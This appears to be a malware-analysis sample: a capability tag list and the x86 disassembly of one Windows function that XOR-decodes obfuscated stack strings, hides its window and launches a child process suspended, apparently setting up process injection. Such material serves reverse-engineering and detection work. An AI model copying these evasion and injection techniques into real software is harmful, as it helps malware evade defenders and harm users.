Function at 0x454600
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Encode data using xor
Hide graphical window
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x523034]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x534014], 2
push ebx
push esi
mov dword [ebp - 0xc4], 0
jne 0x454c3a
mov eax, dword [0x534164]
cmp byte [eax + 0x258], 0
je 0x454c3a
movaps xmm0, xmmword [0x51b1e0]
xor ecx, ecx
mov dword [0x534190], 1
mov dword [0x534014], 1
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x79
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x10
jb 0x454665
lea ecx, [ebp - 0x23]
mov byte [ebp - 0x13], 0
call fcn.00459f90
test al, al
jne 0x45472b
movaps xmm0, xmmword [0x51b120]
mov al, 0x77
mov byte [ebp - 0x10], 0x3b
mov cl, 0x5a
xor al, byte [ebp - 0x10]
mov ch, 0x53
mov byte [ebp - 0xf], al
mov dl, 0x4e
mov al, byte [ebp - 0x10]
mov bl, 0x55
mov ah, 0x58
mov byte [ebp - 7], 0
mov dh, 0x5e
mov byte [ebp - 7], 0
mov bh, 0x49
mov dword [ebp - 0x38], 0x4e4f0144
xor cl, al
mov dword [ebp - 0x34], 0x4e470155
xor ch, al
mov byte [ebp - 0xe], cl
xor dl, al
mov byte [ebp - 0xa], ch
xor bl, al
mov byte [ebp - 0xd], dl
xor ah, al
mov byte [ebp - 0xc], bl
xor dh, al
mov byte [ebp - 0xb], ah
xor bh, al
mov byte [ebp - 9], dh
mov byte [ebp - 8], bh
xor ecx, ecx
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x30], 0xf454f54
mov byte [ebp - 0x2c], 0
mov al, byte [ebp - 0x48]
xor byte [ebp + ecx - 0x47], al
inc ecx
cmp ecx, 0x1b
jb 0x4546f4
push 0x10
lea eax, [ebp - 0xf]
mov byte [ebp - 0x2c], 0
push eax
lea eax, [ebp - 0x47]
push eax
push dword [0x534188]
call dword [sym.imp.USER32.dll_MessageBoxA]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004aa896
mov esp, ebp
pop ebp
ret
cmp dword [0x5343d0], 0x10
mov esi, 0x5343bc
mov ecx, esi
cmovae ecx, dword [0x5343bc]
call fcn.00459f90
test al, al
jne 0x454806
movaps xmm0, xmmword [0x51ae50]
mov al, 0x77
mov byte [ebp - 0x10], 0x3b
mov cl, 0x5a
xor al, byte [ebp - 0x10]
mov ch, 0x53
mov byte [ebp - 0xf], al
mov dl, 0x4e
mov al, byte [ebp - 0x10]
mov bl, 0x55
mov ah, 0x58
mov byte [ebp - 7], 0
mov dh, 0x5e
mov byte [ebp - 7], 0
mov bh, 0x49
mov dword [ebp - 0x14], 0x470d07
xor cl, al
xor dl, al
xor bl, al
mov byte [ebp - 0xe], cl
xor ah, al
mov byte [ebp - 0xd], dl
xor ch, al
mov byte [ebp - 0xc], bl
xor dh, al
mov byte [ebp - 0xa], ch
xor bh, al
mov byte [ebp - 0xb], ah
cmp dword [0x5343d0], 0x10
mov byte [ebp - 9], dh
cmovae esi, dword [0x5343bc]
xor ecx, ecx
mov byte [ebp - 8], bh
movups xmmword [ebp - 0x24], xmm0
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x12
jb 0x4547b7
lea eax, [ebp - 0x23]
push esi
sub esp, 0x18
mov byte [ebp - 0x11], 0
mov ecx, esp
push eax
call fcn.00445a70
lea eax, [ebp - 0x60]
push eax
call fcn.0045a3f0
add esp, 0x20
cmp dword [eax + 0x14], 0x10
jb 0x4547eb
mov eax, dword [eax]
push 0x10
lea ecx, [ebp - 0xf]
push ecx
push eax
push dword [0x534188]
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x60]
jmp 0x454c35
cmp dword [0x5343d0], 0x10
mov ecx, esi
cmovae ecx, dword [0x5343bc]
call fcn.00459f90
test al, al
jne 0x4548a2
movaps xmm0, xmmword [0x51b1d0]
mov al, 0x26
mov byte [ebp - 0x10], 0x6a
mov cl, 0xb
xor al, byte [ebp - 0x10]
mov ch, 2
mov byte [ebp - 0xf], al
mov dl, 0x1f
mov al, byte [ebp - 0x10]
mov bl, 4
mov ah, 9
mov byte [ebp - 7], 0
mov dh, 0xf
mov byte [ebp - 7], 0
mov bh, 0x18
mov dword [ebp - 0x14], 0x3a707a
xor cl, al
xor dl, al
xor bl, al
mov byte [ebp - 0xe], cl
xor ah, al
mov byte [ebp - 0xd], dl
xor ch, al
mov byte [ebp - 0xc], bl
xor dh, al
mov byte [ebp - 0xa], ch
xor bh, al
mov byte [ebp - 0xb], ah
cmp dword [0x5343d0], 0x10
mov byte [ebp - 9], dh
cmovae esi, dword [0x5343bc]
xor ecx, ecx
mov byte [ebp - 8], bh
movups xmmword [ebp - 0x24], xmm0
nop dword [eax]
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x12
jb 0x454890
jmp 0x4547c4
cmp dword [0x534484], 0x10
mov ecx, 0x534470
cmovae ecx, dword [0x534470]
call fcn.00459f90
test al, al
jne 0x454936
movaps xmm0, xmmword [0x51ac60]
mov al, 0x32
mov byte [ebp - 0x10], 0x7e
mov cl, 0x1f
xor al, byte [ebp - 0x10]
mov ch, 0x16
mov byte [ebp - 0xf], al
mov dl, 0xb
mov al, byte [ebp - 0x10]
mov bl, 0x10
mov ah, 0x1d
mov byte [ebp - 7], 0
mov dh, 0x1b
mov byte [ebp - 7], 0
mov bh, 0xc
xor cl, al
xor dl, al
mov byte [ebp - 0xe], cl
xor bl, al
mov byte [ebp - 0xd], dl
xor ah, al
mov byte [ebp - 0xc], bl
xor ch, al
mov byte [ebp - 0xb], ah
xor dh, al
mov byte [ebp - 0xa], ch
xor bh, al
mov byte [ebp - 9], dh
cmp dword [0x5343d0], 0x10
mov byte [ebp - 8], bh
cmovae esi, dword [0x5343bc]
xor ecx, ecx
movups xmmword [ebp - 0x20], xmm0
mov al, byte [ebp - 0x20]
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xe
jb 0x454921
lea eax, [ebp - 0x1f]
jmp 0x4547c7
call fcn.00451300
call fcn.0044fcc0
push edx
push eax
lea ecx, [ebp - 0x90]
call fcn.00450060
add esp, 8
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0xa8]
push eax
call fcn.0045a2d0
cmp dword [ebp - 0x94], 0x10
lea edx, [ebp - 0xa8]
movaps xmm0, xmmword [0x51b1f0]
lea esi, [ebp - 0x90]
cmovae edx, dword [ebp - 0xa8]
cmp dword [ebp - 0x7c], 0x10
movups xmmword [ebp - 0x48], xmm0
cmovae esi, dword [ebp - 0x90]
xor ecx, ecx
mov dword [ebp - 0x38], 0x76373277
mov dword [ebp - 0x34], 0x32613732
mov dword [ebp - 0x30], 0x37327637
mov word [ebp - 0x2c], 0x61
mov al, byte [ebp - 0x48]
xor byte [ebp + ecx - 0x47], al
inc ecx
cmp ecx, 0x1c
jb 0x4549b0
mov eax, dword [0x534164]
push edx
mov byte [ebp - 0x2b], 0
movzx eax, byte [eax + 0x238]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
sub esp, 0x18
lea eax, [ebp - 0x47]
mov ecx, esp
push eax
call fcn.00445a70
lea eax, [ebp - 0x78]
push eax
call fcn.0045a3f0
add esp, 0x2c
lea eax, [ebp - 0x11c]
push 0x40
push 0
push eax
call fcn.004ae4d0
add esp, 0xc
mov dword [ebp - 0x120], 0x44
xorps xmm0, xmm0
movups xmmword [ebp - 0xd4], xmm0
push 0
push dword [0x534188]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x51a6c0
mov edx, 0x5344a4
lea ecx, [ebp - 0x60]
call fcn.0044c1c0
add esp, 4
mov ecx, eax
push 0xffffffffffffffff
push 0
push 0x5344a4
call fcn.004460f0
push eax
lea ecx, [ebp - 0x28]
call fcn.004459f0
push 0x51a90c
lea edx, [ebp - 0x28]
lea ecx, [ebp - 0xc0]
call fcn.004469a0
add esp, 4
lea ecx, [ebp - 0x28]
call fcn.004459b0
lea ecx, [ebp - 0x60]
call fcn.004459b0
call fcn.004b72ab
cdq
mov ecx, 7
idiv ecx
push 0x1c
mov eax, edx
add al, 1
mov dword [ebp - 0xc4], eax
call fcn.004aa8dd
mov esi, eax
mov byte [ebp - 7], 0
mov al, 0x66
mov byte [ebp - 7], 0
mov cl, 0x48
mov byte [ebp - 0xc], al
mov dl, 4
xor cl, al
xor dl, al
mov byte [ebp - 0xb], cl
mov bl, 0xb
mov byte [ebp - 0xa], dl
mov ch, 0x16
xor bl, al
add esp, 4
mov byte [ebp - 9], bl
xor ch, al
mov eax, dword [ebp - 0xc4]
mov byte [ebp - 8], ch
lea ecx, [ebp - 0x60]
movzx edx, al
call fcn.00456290
sub esp, 8
lea eax, [ebp - 0xc0]
push eax
push ecx
lea ecx, [ebp - 0x60]
call fcn.00456370
push eax
lea ecx, [ebp - 0x28]
call fcn.004459f0
lea eax, [ebp - 0xb]
push eax
lea edx, [ebp - 0x28]
lea ecx, [ebp - 0x44]
call fcn.004469a0
add esp, 4
cmp dword [eax + 0x14], 0x10
jb 0x454b0d
mov eax, dword [eax]
push ecx
push eax
mov ecx, esi
call fcn.00444870
lea ecx, [ebp - 0x44]
mov dword [0x534878], eax
call fcn.004459b0
lea ecx, [ebp - 0x28]
call fcn.004459b0
lea ecx, [ebp - 0x60]
call fcn.004459b0
call fcn.00444a20
cmp dword [ebp - 0x64], 0x10
lea ecx, [ebp - 0xd4]
push ecx
lea ecx, [ebp - 0x120]
push ecx
push 0
push 0
push 4
push 0
push 0
lea eax, [ebp - 0x78]
cmovae eax, dword [ebp - 0x78]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
call esi
push 0
push dword [ebp - 0xd4]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0xfa
call esi
cmp dword [ebp - 0x64], 0x10
lea ecx, [ebp - 0xd4]
push ecx
lea ecx, [ebp - 0x120]
push ecx
push 0
push 0
push 4
push 0
push 0
lea eax, [ebp - 0x78]
cmovae eax, dword [ebp - 0x78]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x454bf4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [0x5343d0], 0x10
mov edx, 0x5343bc
mov ecx, dword [ebp - 0xd4]
cmovae edx, dword [0x5343bc]
call fcn.00452d10
mov eax, dword [ebp - 0xcc]
mov dword [0x533e7c], eax
mov eax, dword [ebp - 0xd0]
mov dword [0x534104], eax
call fcn.00454590
mov ecx, dword [0x534878]
call fcn.00444ad0
call fcn.00451300
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
lea ecx, [ebp - 0xc0]
call fcn.004459b0
lea ecx, [ebp - 0x78]
call fcn.004459b0
lea ecx, [ebp - 0xa8]
call fcn.004459b0
lea ecx, [ebp - 0x90]
call fcn.004459b0
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004aa896
mov esp, ebp
pop ebp
ret